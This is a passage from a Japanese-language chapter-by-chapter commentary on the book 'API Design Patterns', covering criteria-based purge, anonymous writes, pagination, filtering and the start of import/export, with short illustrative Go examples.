deletion」は、APIにおける条件に基づく削除操作の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者は条件に基づく削除操作(purge操作)が単なる利便性の向上だけでなく、APIの柔軟性、効率性、そして全体的なシステムの安全性にどのように影響を与えるかを明確に示しています。条件に基づく削除の必要性と概要著者は、バッチ削除操作の限界から議論を始めています。バッチ削除では、削除対象のリソースのIDを事前に知っている必要がありますが、実際の運用では特定の条件に合致するすべてのリソースを削除したい場合が多々あります。例えば、アーカイブされたすべてのチャットルームを削除するような操作です。この問題に対処するため、著者は「purge」と呼ばれる新しいカスタムメソッドを提案しています。purgeメソッドは、フィルタ条件を受け取り、その条件に合致するすべてのリソースを一度に削除します。これにより、複数のAPI呼び出し(リソースの一覧取得と削除の組み合わせ)を1回のAPI呼び出しに置き換えることができ、効率性と一貫性が向上します。しかし、著者はこの操作の危険性も明確に指摘しています。purge操作は、ユーザーが意図せずに大量のデータを削除してしまう可能性があるため、慎重に設計し、適切な安全機構を組み込む必要があります。purge操作の設計と実装著者は、purge操作の安全な実装のために以下の重要な要素を提案しています。forceフラグ: デフォルトでは削除を実行せず、プレビューモードとして動作します。実際に削除を行うには、明示的にforceフラグをtrueに設定する必要があります。purgeCount: 削除対象となるリソースの数を返します。プレビューモードでは概算値を返すこともあります。purgeSample: 削除対象となるリソースのサンプルセットを返します。これにより、ユーザーは削除対象が意図したものであるかを確認できます。これらの要素を組み合わせることで、APIは柔軟かつ安全な条件付き削除機能を提供することができます。著者は、purge操作の実装に関して詳細なガイダンスを提供しています。特に注目すべき点は以下の通りです。フィルタリング: purge操作のフィルタは、標準的なリスト操作のフィルタと同じように動作すべきです。これにより、APIの一貫性が保たれます。デフォルトの動作: 安全性を確保するため、デフォルトではプレビューモードとして動作し、実際の削除は行いません。結果の一貫性: プレビューと実際の削除操作の間でデータが変更される可能性があるため、完全な一貫性は保証できません。この制限をユーザーに明確に伝える必要があります。これらの原則を適用した、Golangでのpurge操作の実装例を以下に示します。type PurgeRequest struct { Parent string `json:\\"parent\\"` Filter string `json:\\"filter\\"` Force bool `json:\\"force\\"`}type PurgeResponse struct { PurgeCount int `json:\\"purgeCount\\"` PurgeSample []string `json:\\"purgeSample,omitempty\\"`}func (s *Service) PurgeMessages(ctx context.Context, req *PurgeRequest) (*PurgeResponse, error) { // フィルタの検証 if req.Filter == \\"\\" { return nil, errors.New(\\"filter is required\\") } // マッチするリソースの取得 matchingResources, err := s.getMatchingResources(ctx, req.Parent, req.Filter) if err != nil { return nil, err } response := &PurgeResponse{ PurgeCount: len(matchingResources), PurgeSample: getSample(matchingResources, 100), } // 実際の削除操作 if req.Force { if err := s.deleteResources(ctx, matchingResources); err != nil { return nil, err } } return response, nil}この実装例では、forceフラグがfalseの場合はプレビューのみを行い、trueの場合に実際の削除を実行します。また、削除対象のサンプルを返すことで、ユーザーが意図した操作であるかを確認できるようにしています。purge操作の影響とトレードオフ著者は、purge操作の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。パフォーマンスと効率性: purge操作は、複数のAPI呼び出しを1回の呼び出しに置き換えることで、全体的な効率を向上させます。しかし、大量のデータを一度に処理する必要があるため、サーバーリソースに大きな負荷をかける可能性があります。安全性とユーザビリティのバランス: デフォルトでプレビューモードとして動作することで安全性を確保していますが、これは同時にユーザーが2回のAPI呼び出しを行う必要があることを意味します。このトレードオフを適切に管理する必要があります。データの一貫性: プレビューと実際の削除操作の間でデータが変更される可能性があるため、完全な一貫性を保証することは困難です。この制限をユーザーに明確に伝え、適切に管理する必要があります。エラー処理の複雑さ: 大量のリソースを一度に削除する際、一部のリソースの削除に失敗した場合の処理が複雑になる可能性があります。部分的な成功をどのように扱うかを慎重に設計する必要があります。監視と可観測性: purge操作は、システムの状態を大きく変更する可能性があるため、適切な監視と監査メカニズムが不可欠です。どのような条件で、どれだけのリソースが削除されたかを追跡できるようにする必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの統合: purge操作は、複数のマイクロサービスにまたがるデータの一貫性を維持する上で重要な役割を果たす可能性があります。例えば、ユーザーデータの削除(GDPR対応など)や、大規模なデータクリーンアップ操作に利用できます。イベント駆動アーキテクチャとの連携: purge操作の結果をイベントとして発行することで、関連するシステムコンポーネントが適切に反応し、全体的な一貫性を維持することができます。バックグラウンドジョブとしての実装: 大規模なpurge操作は、非同期のバックグラウンドジョブとして実装することを検討すべきです。これにより、クライアントのタイムアウトを回避し、システムの応答性を維持することができます。段階的な削除戦略: 大量のデータを一度に削除するのではなく、段階的に削除を行う戦略を検討すべきです。これにより、システムへの影響を最小限に抑えつつ、大規模な削除操作を安全に実行することができます。監査とコンプライアンス: purge操作は、監査とコンプライアンスの観点から重要です。どのデータがいつ、誰によって、どのような条件で削除されたかを追跡できるようにする必要があります。結論第19章「Criteria-based deletion」は、条件に基づく削除操作(purge操作)の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性と効率性を向上させる一方で、システムの安全性と整合性を維持することを目指しています。特に重要な点は以下の通りです。purge操作は、条件に基づいて複数のリソースを一度に削除する強力なツールですが、慎重に設計し、適切な安全機構を組み込む必要があります。デフォルトでプレビューモードとして動作し、実際の削除には明示的な承認(forceフラグ)を要求することで、意図しない大規模削除を防ぐことができます。削除対象のリソース数とサンプルを提供することで、ユーザーが操作の影響を事前に評価できるようにすることが重要です。データの一貫性の保証が難しいため、この制限をユーザーに明確に伝える必要があります。purge操作の導入は、システム全体のパフォーマンス、スケーラビリティ、そして運用性に大きな影響を与える可能性があるため、慎重に検討する必要があります。これらの原則を適切に適用することで、開発者にとって使いやすく、かつ安全なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なデータ管理戦略の一部として直接的に適用可能です。しかし、purge操作の導入には慎重な検討が必要です。その強力な機能ゆえに、システムの安全性とデータの整合性に大きなリスクをもたらす可能性があります。したがって、purge操作は本当に必要な場合にのみ導入し、適切な制限と監視メカニズムを併せて実装することが重要です。最後に、purge操作の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの機能を拡張するだけでなく、システム全体のデータ管理戦略、セキュリティポリシー、そして運用プラクティスにも大きな影響を与えます。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。purge操作の適切な実装は、システムのデータ管理能力を大幅に向上させ、運用効率を高める可能性があります。しかし、同時にそれは大きな責任を伴います。API設計者とシステム設計者は、これらの操作の影響を深く理解し、適切なサフェガードを実装することで、より堅牢で効率的、かつ安全なシステムを構築することができるでしょう。特に、大規模なデータ管理や複雑なビジネスロジックを持つシステムにおいて、purge操作は極めて重要な役割を果たす可能性がありますが、その導入には慎重な検討と綿密な計画が不可欠です。20 Anonymous writes「API Design Patterns」の第20章「Anonymous writes」は、APIにおける匿名データの書き込みの概念、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者は従来のリソース指向のAPIデザインでは対応が難しい匿名データの取り扱いについて、新しいアプローチを提案し、それがシステム全体のアーキテクチャと運用にどのように影響を与えるかを明確に示しています。匿名データの必要性と概要著者は、これまでのAPIデザインパターンでは全てのデータをリソースとして扱ってきたことを指摘し、この approach が全てのシナリオに適しているわけではないという問題提起から議論を始めています。特に、時系列データやログエントリのような、個別に識別や操作する必要のないデータの取り扱いについて、新しいアプローチの必要性を強調しています。この問題は、特に大規模なデータ分析システムやクラウドネイティブな環境において顕著です。例えば、IoTデバイスから大量のセンサーデータを収集する場合や、マイクロサービス間のイベントログを記録する場合など、個々のデータポイントよりも集計結果や傾向分析が重要となるシナリオが多々あります。著者は、このような匿名データを扱うための新しいカスタムメソッド「write」を提案しています。このメソッドの主な特徴は以下の通りです。データは一意の識別子を持たず、個別にアドレス指定できない。書き込まれたデータは、主に集計や分析の目的で使用される。個々のデータエントリの取得、更新、削除は想定されていない。この概念は、現代のビッグデータ分析システムやイベント駆動アーキテクチャと非常に親和性が高く、特にクラウドネイティブな環境での応用が期待されます。write メソッドの実装著者は、write メソッドの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。戻り値: write メソッドは void を返すべきです。これは、個々のデータエントリが識別可能でないため、新しく作成されたリソースを返す必要がないためです。ペイロード: データは entry フィールドを通じて送信されます。これは標準の create メソッドの resource フィールドに相当します。URL構造: コレクションをターゲットとするべきです。例えば、/chatRooms/1/statEntries:write のような形式です。一貫性: write メソッドは即座に応答を返すべきですが、データが即座に読み取り可能である必要はありません。これは、大規模なデータ処理パイプラインの特性を反映しています。これらの原則を適用した、Golangでのwrite メソッドの実装例を以下に示します。type ChatRoomStatEntry struct { Name string `json:\\"name\\"` Value interface{} `json:\\"value\\"`}type WriteChatRoomStatEntryRequest struct { Parent string `json:\\"parent\\"` Entry ChatRoomStatEntry `json:\\"entry\\"`}func (s *Service) WriteChatRoomStatEntry(ctx context.Context, req *WriteChatRoomStatEntryRequest) error { // データの検証 if err := validateEntry(req.Entry); err != nil { return err } // データ処理パイプラインへの送信 if err := s.dataPipeline.Send(ctx, req.Parent, req.Entry); err != nil { return err } // 即座に成功を返す return nil}この実装例では、データの検証を行った後、非同期のデータ処理パイプラインにデータを送信しています。メソッドは即座に応答を返し、クライアントはデータが処理されるのを待つ必要がありません。一貫性と運用上の考慮事項著者は、write メソッドの一貫性モデルについて重要な指摘をしています。従来のリソース指向のAPIでは、データの書き込み後即座にそのデータが読み取り可能であることが期待されますが、write メソッドではこの即時一貫性は保証されません。これは、大規模なデータ処理システムの現実的な運用を反映しています。例えば、時系列データベースやビッグデータ処理システムでは、データの取り込みと処理に時間差があるのが一般的です。著者は、この非同期性を明示的に設計に組み込むことで、より効率的で拡張性の高いシステムが構築できると主張しています。運用の観点から見ると、この設計には以下のような利点があります。スケーラビリティの向上: データの取り込みと処理を分離することで、それぞれを独立してスケールさせることができます。システムの回復力: データ処理パイプラインに一時的な問題が発生しても、データの取り込み自体は継続できます。バッファリングと負荷平準化: 取り込んだデータをバッファリングすることで、下流のシステムへの負荷を平準化できます。運用の柔軟性: データ処理ロジックを変更する際に、APIインターフェースを変更せずに済みます。著者は、クライアントにデータの処理状況を伝えるために、HTTP 202 Accepted ステータスコードの使用を推奨しています。これは、データが受け入れられたが、まだ完全に処理されていないことを示す適切な方法です。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。イベント駆動アーキテクチャとの親和性: write メソッドは、イベントソーシングやCQRSパターンと非常に相性が良いです。例えば、マイクロサービス間の非同期通信や、イベントストリームの生成に活用できます。観測可能性の向上: 匿名データの書き込みを明示的に設計に組み込むことで、システムの振る舞いをより詳細に観測できるようになります。例えば、各サービスの内部状態の変化を時系列データとして記録し、後で分析することが容易になります。コンプライアンスと監査: 匿名データの書き込みを標準化することで、システム全体の動作ログを一貫した方法で収集できます。これは、コンプライアンス要件の遵守や、システムの監査に役立ちます。パフォーマンスチューニング: 集計データの収集を最適化することで、システム全体のパフォーマンスプロファイルを詳細に把握し、ボトルネックの特定や最適化が容易になります。A/Bテストとフィーチャーフラグ: 匿名データを活用することで、新機能の段階的なロールアウトや、A/Bテストの結果収集を効率的に行うことができます。結論第20章「Anonymous writes」は、APIにおける匿名データの取り扱いの重要性と、その適切な実装方法を明確に示しています。著者の提案するwrite メソッドは、従来のリソース指向のAPIデザインを補完し、より柔軟で拡張性の高いシステム設計を可能にします。特に重要な点は以下の通りです。全てのデータをリソースとして扱う必要はなく、匿名データの概念を導入することで、より効率的なデータ処理が可能になります。write メソッドは、即時一貫性を犠牲にする代わりに、高いスケーラビリティと柔軟性を提供します。匿名データの取り扱いは、大規模なデータ分析システムやイベント駆動アーキテクチャと非常に親和性が高いです。システムの観測可能性、コンプライアンス、パフォーマンスチューニングなど、運用面でも多くの利点があります。write メソッドの導入には、システム全体のアーキテクチャと処理パイプラインの設計を考慮する必要があります。これらの原則を適切に適用することで、開発者はより柔軟で拡張性の高いAPIを設計することができます。特に、大規模なデータ処理や複雑なイベント駆動システムを扱う場合、この設計パターンは非常に有用です。しかし、write メソッドの導入には慎重な検討も必要です。即時一貫性が重要なユースケースでは、従来のリソース指向のアプローチが適している場合もあります。また、匿名データの取り扱いは、データの追跡やデバッグを複雑にする可能性があるため、適切なモニタリングとログ記録の戦略が不可欠です。最後に、匿名データの取り扱いはシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。write メソッドの導入は、単にAPIの機能を拡張するだけでなく、システム全体のデータフロー、処理パイプライン、そして運用プラクティスにも大きな影響を与えます。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で複雑なシステムの設計において非常に重要です。匿名データの適切な取り扱いは、システムの拡張性、柔軟性、そして運用効率を大きく向上させる可能性があります。API設計者とシステム設計者は、これらの概念を深く理解し、適切に応用することで、より堅牢で効率的なシステムを構築することができるでしょう。21 Pagination「API Design Patterns」の第21章「Pagination」は、APIにおけるページネーションの重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はページネーションが単なる機能の追加ではなく、APIの使いやすさ、効率性、そして全体的なシステムのスケーラビリティにどのように影響を与えるかを明確に示しています。ページネーションの必要性と概要著者は、大規模なデータセットを扱う際のページネーションの必要性から議論を始めています。特に、1億件のデータを一度に返そうとすることの問題点を指摘し、ページネーションがこの問題にどのように対処するかを説明しています。ページネーションは、大量のデータを管理可能な「チャンク」に分割し、クライアントが必要に応じてデータを取得できるようにする方法です。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のマイクロサービスが協調して動作する環境では、各サービスが大量のデータを効率的に処理し、ネットワーク帯域幅を最適化する必要があります。ページネーションは、このような環境でのデータ転送を最適化し、システム全体のパフォーマンスと応答性を向上させる重要な手段となります。著者は、ページネーションの基本的な構造として以下の要素を提案しています。pageToken: 次のページを取得するためのトークンmaxPageSize: クライアントが要求する最大ページサイズnextPageToken: サーバーが返す次のページのトークンこれらの要素を組み合わせることで、APIは大規模なデータセットを効率的に管理し、クライアントに段階的に提供することができます。ページネーションの実装著者は、ページネーションの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。最大ページサイズ vs 正確なページサイズ: 著者は、正確なページサイズではなく最大ページサイズを使用することを推奨しています。これにより、サーバーは要求されたサイズよりも小さいページを返すことができ、パフォーマンスと効率性が向上します。ページトークンの不透明性: ページトークンは、クライアントにとって意味を持たない不透明な文字列であるべきです。これにより、サーバー側で実装の詳細を変更する柔軟性が確保されます。一貫性の確保: ページネーション中にデータが変更される可能性があるため、完全な一貫性を保証することは難しい場合があります。著者は、この制限を明確に文書化することを推奨しています。ページトークンの有効期限: ページトークンに有効期限を設定することで、リソースの効率的な管理が可能になります。これらの原則を適用した、Golangでのページネーションの実装例を以下に示します。type ListResourcesRequest struct { PageToken string `json:\\"pageToken\\"` MaxPageSize int `json:\\"maxPageSize\\"`}type ListResourcesResponse struct { Resources []*Resource `json:\\"resources\\"` NextPageToken string `json:\\"nextPageToken\\"`}func (s *Service) ListResources(ctx context.Context, req *ListResourcesRequest) (*ListResourcesResponse, error) { // ページトークンのデコードと検証 offset, err := decodePageToken(req.PageToken) if err != nil { return nil, err } // リソースの取得 limit := min(req.MaxPageSize, 100) // 最大100件に制限 resources, err := s.repository.GetResources(ctx, offset, limit+1) if err != nil { return nil, err } // 次のページトークンの生成 var nextPageToken string if len(resources) > limit { nextPageToken = encodePageToken(offset + limit) resources = resources[:limit] } return &ListResourcesResponse{ Resources: resources, NextPageToken: nextPageToken, }, nil}この実装例では、ページトークンを使用してオフセットを管理し、最大ページサイズを制限しています。また、次のページがあるかどうかを判断するために、要求された制限よりも1つ多くのリソースを取得しています。ページネーションの影響とトレードオフ著者は、ページネーションの導入がシステム全体に与える影響とトレードオフについても詳細に論じています。パフォーマンスとスケーラビリティ: ページネーションは、大規模なデータセットを扱う際のパフォーマンスを大幅に向上させます。しかし、適切に実装されていない場合(例:オフセットベースのページネーション)、データベースへの負荷が増大する可能性があります。一貫性と可用性のバランス: 完全な一貫性を保証しようとすると、システムの可用性が低下する可能性があります。著者は、このトレードオフを明確に理解し、適切なバランスを取ることの重要性を強調しています。クライアント側の複雑性: ページネーションは、クライアント側の実装を複雑にする可能性があります。特に、全データを取得する必要がある場合、クライアントは複数のリクエストを管理する必要があります。キャッシュ戦略: ページネーションは、キャッシュ戦略に影響を与えます。各ページを個別にキャッシュする必要があり、データの更新頻度によってはキャッシュの有効性が低下する可能性があります。これらの影響とトレードオフを考慮しながら、ページネーションの実装を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの統合: ページネーションは、マイクロサービス間でのデータ転送を最適化する上で重要な役割を果たします。各サービスが大量のデータを効率的に処理し、ネットワーク帯域幅を最適化することで、システム全体のパフォーマンスが向上します。イベント駆動アーキテクチャとの連携: ページネーションは、イベントストリームの処理にも応用できます。大量のイベントを処理する際に、ページネーションを使用することで、消費者が管理可能なチャンクでイベントを処理できるようになります。データの一貫性と鮮度: ページネーション中にデータが変更される可能性があるため、データの一貫性と鮮度のバランスを取る必要があります。特に、リアルタイム性が求められるシステムでは、この点に注意が必要です。クエリパフォーマンスの最適化: ページネーションの実装方法によっては、データベースへの負荷が増大する可能性があります。特に、オフセットベースのページネーションは大規模なデータセットで問題が発生する可能性があります。カーソルベースのページネーションなど、より効率的な方法を検討する必要があります。レスポンスタイムの一貫性: ページサイズを固定することで、各リクエストのレスポンスタイムをより一貫したものにすることができます。これは、システムの予測可能性と信頼性を向上させる上で重要です。エラー処理とリトライ戦略: ページネーションを使用する際は、ネットワークエラーやタイムアウトに対する適切なエラー処理とリトライ戦略が重要になります。特に、長時間にわたるデータ取得プロセスでは、この点に注意が必要です。モニタリングと可観測性: ページネーションの使用パターンを監視することで、システムの使用状況やボトルネックを特定することができます。例えば、特定のページサイズやフィルタ条件が頻繁に使用されている場合、それらに対して最適化を行うことができます。ページネーションと全体的なシステムアーキテクチャページネーションの設計は、システム全体のアーキテクチャに大きな影響を与えます。以下の点について考慮する必要があります。データモデルとインデックス設計: 効率的なページネーションを実現するためには、適切なデータモデルとインデックス設計が不可欠です。特に、大規模なデータセットを扱う場合、この点が重要になります。キャッシュ戦略: ページネーションを使用する場合、各ページを個別にキャッシュする必要があります。これにより、キャッシュ戦略が複雑になる可能性があります。特に、データの更新頻度が高い場合、キャッシュの有効性が低下する可能性があります。負荷分散とスケーリング: ページネーションを使用することで、システムの負荷をより均等に分散させることができます。これにより、システムのスケーラビリティが向上します。バックエンドサービスの設計: ページネーションを効率的に実装するためには、バックエンドサービスの設計を適切に行う必要があります。特に、データベースクエリの最適化や、ページトークンの生成と管理が重要になります。API設計の一貫性: ページネーションの設計は、API全体の設計と一貫性を保つ必要があります。例えば、ページネーションパラメータの命名規則や、レスポンス形式などを統一することが重要です。結論第21章「Pagination」は、APIにおけるページネーションの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの使いやすさ、効率性、そして全体的なシステムのスケーラビリティを大きく向上させる可能性があります。特に重要な点は以下の通りです。ページネーションは、大規模なデータセットを扱う際に不可欠な機能です。最大ページサイズを使用し、正確なページサイズを保証しないことで、システムの柔軟性と効率性が向上します。ページトークンは不透明であるべきで、クライアントはその内容を理解したり操作したりする必要はありません。データの一貫性と可用性のバランスを取ることが重要です。完全な一貫性を保証することは難しい場合があり、この制限を明確に文書化する必要があります。ページネーションの設計は、システム全体のアーキテクチャ、パフォーマンス、スケーラビリティに大きな影響を与えます。これらの原則を適切に適用することで、開発者は使いやすく、効率的で、スケーラブルなAPIを設計することができます。特に、大規模なデータセットを扱う場合や、リソースが制限されている環境(モバイルアプリケーションなど)でのAPIの使用を想定している場合、ページネーションは極めて重要な役割を果たします。しかし、ページネーションの導入には慎重な検討も必要です。特に、データの一貫性、クライアント側の複雑性、キャッシュ戦略などの側面で課題が生じる可能性があります。これらの課題に適切に対処するためには、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、ページネーションの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の効率性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。ページネーションの適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で効率的なシステムを構築することができるでしょう。22 Filtering「API Design Patterns」の第22章「Filtering」は、APIにおけるフィルタリング機能の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はフィルタリングが単なる便利な機能ではなく、APIの効率性、使いやすさ、そして全体的なシステムのパフォーマンスにどのように影響を与えるかを明確に示しています。フィルタリングの必要性と概要著者は、標準的なリスト操作だけでは特定の条件に合致するリソースのみを取得することが困難であるという問題提起から議論を始めています。大規模なデータセットを扱う現代のシステムにおいて、クライアントが全てのリソースを取得してから必要なデータをフィルタリングするというアプローチは、非効率的であり、システムリソースの無駄遣いにつながります。この問題は、特にマイクロサービスアーキテクチャやクラウドネイティブ環境において顕著です。例えば、複数のマイクロサービスが協調して動作する環境では、各サービスが大量のデータを効率的に処理し、ネットワーク帯域幅を最適化する必要があります。サーバーサイドでのフィルタリングは、このような環境でのデータ転送を最適化し、システム全体のパフォーマンスと応答性を向上させる重要な手段となります。著者は、フィルタリングの基本的な実装として、標準的なリストリクエストにfilterフィールドを追加することを提案しています。このフィールドを通じて、クライアントは必要なデータの条件を指定し、サーバーはその条件に合致するリソースのみを返すことができます。フィルタリングの実装著者は、フィルタリングの実装に関して詳細なガイダンスを提供しています。特に注目すべき点は以下の通りです。フィルター表現の構造: 著者は、構造化されたフィルター(例:JSONオブジェクト)ではなく、文字列ベースのフィルター表現を推奨しています。これにより、APIの柔軟性が向上し、将来的な拡張が容易になります。実行時間の考慮: フィルター式の評価は、単一のリソースのコンテキスト内で完結すべきであり、外部データソースへのアクセスや複雑な計算を含むべきではありません。これにより、フィルタリング操作の予測可能性と効率性が確保されます。配列要素のアドレス指定: 著者は、配列内の特定の位置の要素を参照するフィルタリングを避け、代わりに配列内の要素の存在をチェックするアプローチを推奨しています。これにより、データの順序に依存しない柔軟なフィルタリングが可能になります。厳格性: フィルター式の解釈は厳格であるべきで、あいまいな表現や型の不一致は許容せず、エラーとして扱うべきです。これにより、フィルタリングの信頼性と予測可能性が向上します。カスタム関数: 基本的なフィルタリング機能では不十分な場合に備えて、カスタム関数の導入を提案しています。これにより、複雑なフィルタリング要件にも対応できます。これらの原則を適用した、Golangでのフィルタリング実装の例を以下に示します。type ListResourcesRequest struct { Filter string `json:\\"filter\\"` MaxPageSize int `json:\\"maxPageSize\\"` PageToken string `json:\\"pageToken\\"`}func (s *Service) ListResources(ctx context.Context, req *ListResourcesRequest) (*ListResourcesResponse, error) { filter, err := parseFilter(req.Filter) if err != nil { return nil, fmt.Errorf(\\"invalid filter: %w\\", err) } resources, err := s.repository.GetResources(ctx) if err != nil { return nil, err } var filteredResources []*Resource for _, resource := range resources { if filter.Evaluate(resource) { filteredResources = append(filteredResources, resource) } } // ページネーションの処理 // ... return &ListResourcesResponse{ Resources: filteredResources, NextPageToken: nextPageToken, }, nil}この実装例では、フィルター文字列をパースし、各リソースに対して評価関数を適用しています。フィルターの解析と評価は厳格に行われ、無効なフィルターや型の不一致はエラーとして扱われます。フィルタリングの影響とトレードオフ著者は、フィルタリング機能の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。パフォーマンスとスケーラビリティ: サーバーサイドでのフィルタリングは、ネットワーク帯域幅の使用を最適化し、クライアントの処理負荷を軽減します。しかし、複雑なフィルター式の評価はサーバーリソースを消費する可能性があります。柔軟性と複雑性のバランス: 文字列ベースのフィルター表現は高い柔軟性を提供しますが、解析と評価の複雑さが増加します。これは、エラーハンドリングとセキュリティの観点から慎重に管理する必要があります。一貫性と可用性: フィルタリング結果の一貫性を保証することは、特に分散システムにおいて課題となります。データの更新とフィルタリング操作のタイミングによっては、結果が異なる可能性があります。セキュリティの考慮: フィルター式の評価は、潜在的なセキュリティリスクを伴います。インジェクション攻撃や過度に複雑なクエリによるDoS攻撃の可能性に注意する必要があります。これらのトレードオフを適切に管理することが、フィルタリング機能の成功的な実装の鍵となります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの統合: フィルタリングはマイクロサービス間のデータ交換を最適化する上で重要な役割を果たします。各サービスが必要最小限のデータのみを要求・提供することで、システム全体の効率性が向上します。クエリ最適化: フィルタリング機能は、データベースクエリの最適化と密接に関連しています。効率的なインデックス設計やクエリプランの最適化が、フィルタリングのパフォーマンスに大きな影響を与えます。キャッシュ戦略: フィルタリング結果のキャッシングは、システムのパフォーマンスを大幅に向上させる可能性があります。しかし、キャッシュの有効性とデータの鮮度のバランスを取ることが課題となります。バージョニングと後方互換性: フィルター構文の進化は、APIのバージョニング戦略に影響を与えます。新機能の追加や変更が既存のクライアントに影響を与えないよう、慎重に管理する必要があります。モニタリングと可観測性: フィルタリング操作のパフォーマンスと使用パターンを監視することで、システムの最適化機会を特定できます。例えば、頻繁に使用されるフィルターパターンに対して特別な最適化を行うことが可能になります。フィルタリングとシステムアーキテクチャフィルタリング機能の設計は、システム全体のアーキテクチャに大きな影響を与えます。以下の点について考慮する必要があります。データモデルとスキーマ設計: 効率的なフィルタリングを実現するためには、適切なデータモデルとスキーマ設計が不可欠です。フィルタリングが頻繁に行われるフィールドに対しては、適切なインデックスを設定する必要があります。分散システムにおけるフィルタリング: マイクロサービスアーキテクチャにおいて、フィルタリングはしばしば複数のサービスにまたがって行われる必要があります。このような場合、フィルタリングロジックの配置と実行方法を慎重に設計する必要があります。リアルタイムシステムとの統合: ストリーミングデータや実時間性の高いシステムにおいて、フィルタリングはより複雑になります。データの到着と処理のタイミングを考慮したフィルタリング戦略が必要となります。セキュリティアーキテクチャ: フィルタリング機能は、データアクセス制御と密接に関連しています。ユーザーの権限に基づいて、フィルタリング可能なデータの範囲を制限する必要があります。エラー処理とレジリエンス: フィルタリング操作の失敗がシステム全体に与える影響を最小限に抑えるため、適切なエラー処理とフォールバック機構を実装する必要があります。結論第22章「Filtering」は、APIにおけるフィルタリング機能の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの使いやすさ、効率性、そして全体的なシステムのパフォーマンスを大きく向上させる可能性があります。特に重要な点は以下の通りです。フィルタリングは、大規模なデータセットを扱う現代のシステムにおいて不可欠な機能です。文字列ベースのフィルター表現を使用することで、APIの柔軟性と拡張性が向上します。フィルター式の評価は、単一のリソースのコンテキスト内で完結し、外部データソースへのアクセスを避けるべきです。フィルター式の解釈は厳格であるべきで、あいまいな表現や型の不一致はエラーとして扱うべきです。カスタム関数の導入により、複雑なフィルタリング要件にも対応できます。これらの原則を適切に適用することで、開発者は使いやすく、効率的で、スケーラブルなAPIを設計することができます。特に、大規模なデータセットを扱う場合や、リソースが制限されている環境(モバイルアプリケーションなど)でのAPIの使用を想定している場合、適切なフィルタリング機能の実装は極めて重要です。しかし、フィルタリング機能の導入には慎重な検討も必要です。特に、パフォーマンス、セキュリティ、データの一貫性などの側面で課題が生じる可能性があります。これらの課題に適切に対処するためには、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、フィルタリング機能の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の効率性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。フィルタリング機能の適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で効率的なシステムを構築することができるでしょう。23 Importing and exporting「API Design Patterns」の第23章「Importing and exporting」は、APIにおけるデータのインポートとエクスポートの重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はインポートとエクスポート機能が単なるデータ移動の手段ではなく、APIの効率性、柔軟性、そして全体的なシステムアーキテクチャにどのように影響を与えるかを明確に示しています。インポートとエクスポートの必要性と概要著者は、大規模なデータセットを扱う現代のシステムにおいて、効率的なデータの移動が不可欠であるという問題提起から議論を始めています。従来のアプローチでは、クライアントアプリケーションがAPIからデータを取得し、それを外部ストレージに保存する(またはその逆)という方法が一般的でした。しかし、このアプローチには大きな問題があります。特に、データがAPIサーバーとストレージシステムの近くに位置しているにもかかわらず、クライアントアプリケーションが遠隔地にある場合、大量のデータ転送が必要となり、効率が著しく低下します。著者は、この問題を解決するために、APIサーバーが直接外部ストレージシステムとやり取りするカスタムメソッドを導入することを提案しています。具体的には、importとexportという2つのカスタムメソッドです。これらのメソッドは、データの転送だけでなく、APIリソースとバイトデータ間の変換も担当します。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のマイクロサービスが協調して動作する環境では、各サービスが大量のデータを効率的に処理し、ネットワーク帯域幅を最適化する必要があります。インポート/エクスポート機能を適切に設計することで、サービス間のデータ移動を最適化し、システム全体のパフォーマンスと応答性を向上させることができます。インポートとエクスポートの実装著者は、インポートとエクスポートの実装に関して詳細なガイダンスを提供しています。特に注目すべき点は以下の通りです。構造の分離: